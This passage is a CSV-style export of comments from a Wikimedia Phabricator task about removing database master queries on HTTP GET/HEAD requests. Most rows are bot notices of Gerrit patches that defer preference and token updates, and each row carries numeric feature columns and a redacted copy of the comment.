[[https://gerrit.wikimedia.org/r/236996]]",,,1442005023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8095238095238093,0.8571428571428571,"Change 236996 merged by jenkins-bot:
Defer ""lastuse"" preference updates

[[GERRIT_URL]]"
524867,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237531 had a related patch set uploaded (by Aaron Schulz):
Also defer the markRead() master updates

[[https://gerrit.wikimedia.org/r/237531]]
",,,1441926195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7241379310344827,0.8620689655172413,"Change 237531 had a related patch set uploaded (by Aaron Schulz):
Also defer the markRead() master updates

[[GERRIT_URL]]
"
524865,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237530 merged by jenkins-bot:
Defer the ""seen time"" updates on GET requests

[[https://gerrit.wikimedia.org/r/237530]]",,,1441925942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.48,0.88,"Change 237530 merged by jenkins-bot:
Defer the ""seen time"" updates on GET requests

[[GERRIT_URL]]"
524856,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237530 had a related patch set uploaded (by Aaron Schulz):
Defer the ""seen time"" updates on GET requests

[[https://gerrit.wikimedia.org/r/237530]]
",,,1441925774,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5806451612903225,0.8709677419354839,"Change 237530 had a related patch set uploaded (by Aaron Schulz):
Defer the ""seen time"" updates on GET requests

[[GERRIT_URL]]
"
524848,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237528 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on image history view

[[https://gerrit.wikimedia.org/r/237528]]
",,,1441925290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.892857142857143,0.8928571428571429,"Change 237528 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on image history view

[[GERRIT_URL]]
"
524029,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1619939, @Johan wrote:
> @Nemo_bis: to make sure I don't misunderstand anything, what's the practical effect of this update on the Wikimedia users/editors?

Users may see their language preference is not applied immediately and should report any issue they find.",,,1441866756,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,10,True,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,0.9545454545454546,"QUOTE
QUOTE

Users may see their language preference is not applied immediately and should report any issue they find."
523524,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237014 merged by jenkins-bot:
Defer User::saveSettings() updates on watchlist view

[[https://gerrit.wikimedia.org/r/237014]]",,,1441815316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.173913043478261,0.9130434782608695,"Change 237014 merged by jenkins-bot:
Defer User::saveSettings() updates on watchlist view

[[GERRIT_URL]]"
523316,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"@Nemo_bis: to make sure I don't misunderstand anything, what's the practical effect of this update on the Wikimedia users/editors?",,,1441790418,,PHID-USER-go2ym6ta2zn6ofdsrqnx,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,0.9615384615384616,"SCREEN_NAME: to make sure I don't misunderstand anything, what's the practical effect of this update on the Wikimedia users/editors?"
523208,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"+user-notice for: Defer ""language"" preference update",,,1441776553,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.9166666666666665,0.9166666666666666,"+user-notice for: Defer ""language"" preference update"
523178,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237014 had a related patch set uploaded (by Aaron Schulz):
Defer User::saveSettings() updates on watchlist view

[[https://gerrit.wikimedia.org/r/237014]]
",,,1441766713,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.137931034482759,0.8620689655172413,"Change 237014 had a related patch set uploaded (by Aaron Schulz):
Defer User::saveSettings() updates on watchlist view

[[GERRIT_URL]]
"
523110,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 236996 had a related patch set uploaded (by Aaron Schulz):
Defer ""lastuse"" preference updates

[[https://gerrit.wikimedia.org/r/236996]]
",,,1441757219,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.8518518518518516,0.8518518518518519,"Change 236996 had a related patch set uploaded (by Aaron Schulz):
Defer ""lastuse"" preference updates

[[GERRIT_URL]]
"
522918,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234160 merged by jenkins-bot:
Defer ""language"" preference update

[[https://gerrit.wikimedia.org/r/234160]]",,,1441741026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8095238095238093,0.8571428571428571,"Change 234160 merged by jenkins-bot:
Defer ""language"" preference update

[[GERRIT_URL]]"
522558,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235647 merged by jenkins-bot:
Default the ""watchlisttoken"" value to a derived HMAC value

[[https://gerrit.wikimedia.org/r/235647]]",,,1441719679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8076923076923075,0.8461538461538461,"Change 235647 merged by jenkins-bot:
Default the ""watchlisttoken"" value to a derived HMAC value

[[GERRIT_URL]]"
521885,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"As I mentioned in one of the patches above (can't remember which), T18864 and friends may interfere (still current: T18864#1613395).",,,1441619840,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,14.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.035714285714286,0.9285714285714286,"As I mentioned in one of the patches above (can't remember which), T18864 and friends may interfere (still current: T18864#1613395)."
520036,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235647 had a related patch set uploaded (by Legoktm):
Default the ""watchlisttoken"" value to a derived HMAC value

[[https://gerrit.wikimedia.org/r/235647]]
",,,1441261351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,16.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,3.838709677419355,0.8064516129032258,"Change 235647 had a related patch set uploaded (by Legoktm):
Default the ""watchlisttoken"" value to a derived HMAC value

[[GERRIT_URL]]
"
520003,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235174 abandoned by Aaron Schulz:
Set watchlisttoken preference on account creation

Reason:
I prefer https://gerrit.wikimedia.org/r/#/c/235647/

[[https://gerrit.wikimedia.org/r/235174]]",,,1441257422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.296296296296297,0.8148148148148148,"Change 235174 abandoned by Aaron Schulz:
Set watchlisttoken preference on account creation

Reason:
I prefer URL

[[GERRIT_URL]]"
518893,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234837 merged by jenkins-bot:
Defer the resetAuthToken() call on logout

[[https://gerrit.wikimedia.org/r/234837]]",,,1441149245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.6956521739130435,0.9130434782608695,"Change 234837 merged by jenkins-bot:
Defer the resetAuthToken() call on logout

[[GERRIT_URL]]"
518139,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235174 had a related patch set uploaded (by Aaron Schulz):
Set watchlisttoken preference on account creation

[[https://gerrit.wikimedia.org/r/235174]]
",,,1441075089,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.333333333333333,0.8888888888888888,"Change 235174 had a related patch set uploaded (by Aaron Schulz):
Set watchlisttoken preference on account creation

[[GERRIT_URL]]
"
517941,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234180 merged by jenkins-bot:
Removed READ_LATEST from revision load in getMsgFromNamespace()

[[https://gerrit.wikimedia.org/r/234180]]",,,1441053874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.416666666666667,0.9166666666666666,"Change 234180 merged by jenkins-bot:
Removed READ_LATEST from revision load in getMsgFromNamespace()

[[GERRIT_URL]]"
517460,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234838 merged by jenkins-bot:
Suppress DBPerformance log during account autocreation

[[https://gerrit.wikimedia.org/r/234838]]",,,1440984419,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.666666666666667,0.9047619047619048,"Change 234838 merged by jenkins-bot:
Suppress DBPerformance log during account autocreation

[[GERRIT_URL]]"
517272,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234838 had a related patch set uploaded (by Aaron Schulz):
Suppress DBPerformance log during account autocreation

[[https://gerrit.wikimedia.org/r/234838]]
",,,1440920654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.518518518518518,0.8888888888888888,"Change 234838 had a related patch set uploaded (by Aaron Schulz):
Suppress DBPerformance log during account autocreation

[[GERRIT_URL]]
"
517269,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234837 had a related patch set uploaded (by Aaron Schulz):
Defer the resetAuthToken() call on logout

[[https://gerrit.wikimedia.org/r/234837]]
",,,1440920237,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7586206896551726,0.8620689655172413,"Change 234837 had a related patch set uploaded (by Aaron Schulz):
Defer the resetAuthToken() call on logout

[[GERRIT_URL]]
"
517019,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234175 merged by jenkins-bot:
Removed pointless Title::GAID_FOR_UPDATE for altBaseRevId field

[[https://gerrit.wikimedia.org/r/234175]]",,,1440803132,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.095238095238095,0.9047619047619048,"Change 234175 merged by jenkins-bot:
Removed pointless Title::GAID_FOR_UPDATE for altBaseRevId field

[[GERRIT_URL]]"
516469,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234193 merged by jenkins-bot:
Use quickUserCan() in showHeader() to avoid master queries

